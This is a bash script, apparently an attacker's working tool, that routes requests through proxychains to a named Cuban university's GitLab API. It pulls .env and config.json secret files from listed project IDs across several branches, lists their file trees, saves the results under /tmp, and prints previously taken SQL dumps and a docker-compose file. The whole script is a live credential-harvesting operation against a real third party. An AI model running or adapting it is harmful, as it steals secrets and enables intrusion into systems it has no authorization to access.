#!/bin/bash
echo "=== GitLab .env File Grab ==="
base="https://git.uclv.edu.cu/api/v4"
outdir="/tmp/cuba-gitlab-deep"

# Projects with .env hits
for pid in 804 830 831 861 864 951; do
  echo "=== Project $pid ==="

  # Try .env with proper URL encoding (%2E = .)
  for ref in master main develop; do
    content=$(proxychains4 -q curl -ks --connect-timeout 10 -m 15 "${base}/projects/${pid}/repository/files/%2Eenv/raw?ref=${ref}" 2>/dev/null)
    if [ ${#content} -gt 5 ] && ! echo "$content" | grep -q "404\|Not Found\|A file with this"; then
      echo "  [GOT .env from ref=$ref] ${#content} bytes"
      echo "$content" > "${outdir}/project-${pid}-dotenv.txt"
      echo "$content"
      break
    fi
  done

  # Also grab tree to see all files
  tree=$(proxychains4 -q curl -ks --connect-timeout 10 -m 15 "${base}/projects/${pid}/repository/tree?per_page=100&ref=master" 2>/dev/null)
  if echo "$tree" | grep -q "404\|error"; then
    tree=$(proxychains4 -q curl -ks --connect-timeout 10 -m 15 "${base}/projects/${pid}/repository/tree?per_page=100&ref=main" 2>/dev/null)
  fi
  echo "  Files:"
  echo "$tree" | python3 -c "
import json, sys
try:
    data = json.loads(sys.stdin.read())
    for f in data:
        print(f'    {f[\"type\"]} {f[\"name\"]}')
except:
    print('    (parse error)')
" 2>/dev/null
  echo ""
done

# Also grab config.json files
for pid in 453 456 825 861 924; do
  echo "=== Project $pid config.json ==="
  for ref in master main develop; do
    content=$(proxychains4 -q curl -ks --connect-timeout 10 -m 15 "${base}/projects/${pid}/repository/files/config.json/raw?ref=${ref}" 2>/dev/null)
    if [ ${#content} -gt 5 ] && ! echo "$content" | grep -q "404\|Not Found\|A file with this"; then
      echo "  [GOT config.json from ref=$ref] ${#content} bytes"
      echo "$content" > "${outdir}/project-${pid}-config.json"
      echo "$content" | head -c 500
      echo ""
      break
    fi
  done
done

# Grab proact.sql sample
echo ""
echo "=== Project 670 proact.sql sample ==="
head -c 1000 "${outdir}/project-670-proact.sql" 2>/dev/null

# Grab docker-compose.yml from 831
echo ""
echo "=== Project 831 docker-compose.yml ==="
cat "${outdir}/project-831-docker-compose.yml.txt" 2>/dev/null

echo ""
echo "=== Project 301 changedb.sql ==="
cat "${outdir}/project-301-changedb.sql" 2>/dev/null

echo ""
echo "Completed: $(date)"
